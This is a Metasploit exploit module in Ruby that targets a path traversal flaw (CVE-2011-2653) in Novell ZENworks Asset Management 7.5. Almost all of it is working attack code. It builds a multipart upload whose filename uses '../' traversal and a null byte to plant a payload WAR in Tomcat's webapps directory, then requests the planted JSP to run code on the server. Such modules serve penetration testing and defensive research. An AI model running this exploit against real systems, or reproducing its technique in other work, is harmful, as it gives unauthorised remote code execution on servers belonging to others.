Novell ZENworks Asset Management Remote Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Novell ZENworks Asset Management Remote Execution',
        'Description' => %q{
          This module exploits a path traversal flaw in Novell ZENworks Asset Management
          7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
          outside of the MalibuUploadDirectory and then make a secondary request that allows
          for arbitrary code execution.
        },
        'Author' => [
          'Unknown', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-2653' ],
          [ 'OSVDB', '77583' ],
          [ 'BID', '50966' ],
          [ 'ZDI', '11-342' ],
          [ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-11-02',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
      ]
    )
  end

  def exploit
    # Generate the WAR containing the payload
    app_base = rand_text_alphanumeric(4 + rand(32 - 4))
    jsp_name = rand_text_alphanumeric(rand(8..15))
    war_data = payload.encoded_war(app_name: app_base, jsp_name: jsp_name).to_s

    uid = rand_text_alphanumeric(34).to_s

    data = "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
    data << "prod\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
    data << "newreport\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
    data << "n\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
    data << "malibu.StartImportPAC\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
    data << "malibu.StartImportPAC\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
    data << "MM/dd/yyyy\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
    data << "$\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
    data << "start\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
    data << ",\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
    data << ".\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
    data << "-\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
    data << "yes\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{'../' * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << war_data
    data << "\r\n"
    data << "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
    data << "Html/UploadSuccess.html\r\n"
    data << "------#{uid}--\r\n"

    res = send_request_cgi(
      {
        'uri' => '/rtrlet/catch',
        'method' => 'POST',
        'ctype' => "multipart/form-data; boundary=----#{uid}",
        'data' => data
      }
    )

    print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

    select(nil, nil, nil, 10)

    if (res.code == 500)
      print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
      send_request_raw(
        {
          'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
          'method' => 'GET'
        }
      )
    else
      print_error('WAR upload failed...')
    end
  end
end